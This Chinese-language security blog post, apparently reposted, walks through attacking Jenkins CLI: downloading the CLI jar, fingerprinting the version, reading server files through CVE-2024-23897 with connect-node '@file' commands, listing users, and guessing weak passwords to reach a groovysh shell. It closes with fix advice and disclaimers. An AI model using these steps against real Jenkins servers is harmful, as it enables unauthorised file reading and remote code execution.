Jenkins CLI风险与利用姿势

admin 2025年4月23日11:12:09评论0 views字数 1497阅读4分59秒阅读模式
写在前面
    未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

目录

0x00 什么是Jenkins CLI0x01 CLI工具下载0x02 Jenkins 版本查询0x03 CVE-2024-23897 任意文件读取0x04 CLI获取交互命令行0x05 获取用户列表0x06 弱口令与交互式命令行0x07 修复建议0x08 参考
Jenkins CLI风险与利用姿势

什么是Jenkins CLI

 CLI即Command Line Interface,在windows上的cmd也是一个CLI。为什么要用CLI呢,CLI和图形界面对比,主要有这些优点:简单,容易,节省内存,支持持续集成。官网的介绍是:Jenkins有一个内置的命令行界面,允许用户和管理员从脚本或shell环境中访问Jenkins。这可以方便的编写日常任务, 批量更新, 故障排除等等。

    看到命令行这三个字,总感觉大有可为。先下载CLI工具去年的任意文件读取的漏洞。

CLI工具下载

    下载jenkins CLI工具的方式,访问/jnlpJars/jenkins-cli.jar目录可直接下载:

http://ip:port/jnlpJars/jenkins-cli.jar

Jenkins 版本查询

访问 http://ip:port/oops 目录可在右下角获取jenkins版本

Jenkins CLI风险与利用姿势

CVE-2024-23897 任意文件读取

影响范围:
Jenkins 版本<= 2.441 Jenkins 版本<= LTS 2.426.2
 上面的2.3.46.3在影响范围内:
java -jar jenkins-cli.jar -s http://ip:port/ connect-node "@etcpasswd"

没有对应文件,读取失败。又换了很多其他文件名,都读取失败。

Jenkins CLI风险与利用姿势

后来意识到可能是windows服务器,尝试读取C:Windowswin.ini,读取成功。

java -jar jenkins-cli.jar -s http://ip:port/ connect-node "@C:Windowswin.ini"
Jenkins CLI风险与利用姿势

CLI获取交互命令行

访问http://ip:port/cli/command/groovysh,可以看到获取交互命令行的方式:

Jenkins CLI风险与利用姿势

可以通过who-am-i指令看到当前是匿名用户,匿名用户没有获取命令行的权限

Jenkins CLI风险与利用姿势

问deepseek非匿名用户的登录方式如下:

Jenkins CLI风险与利用姿势

可以用密码或者token登录,弱口令仍有一线生机

获取用户列表

    用户命列表容易获取,访问http://ip:port/asynchPeople/,

Jenkins CLI风险与利用姿势

弱口令与交互式命令行

通过上面的账号,尝试常见的弱口令。

结果弱口令一发就中,要是谈恋爱像打红队一样简单就好了。每次RCE了都会暗爽半天,可惜不能像以前打红队时候可以分享喜悦。

Jenkins CLI风险与利用姿势

修复建议

禁用 CLI 或限制访问

禁用 groovysh

强制密码复杂度

参考

https://www.freebuf.com/articles/neopoints/391038.htmlhttps://mp.weixin.qq.com/s/WVWCuGgVnmH6sBtA4q1dNQ

写在最后

本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。

    未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

原文始发于微信公众号(sec0nd安全):Jenkins CLI风险与利用姿势

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月23日11:12:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jenkins CLI风险与利用姿势https://cn-sec.com/archives/3988636.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息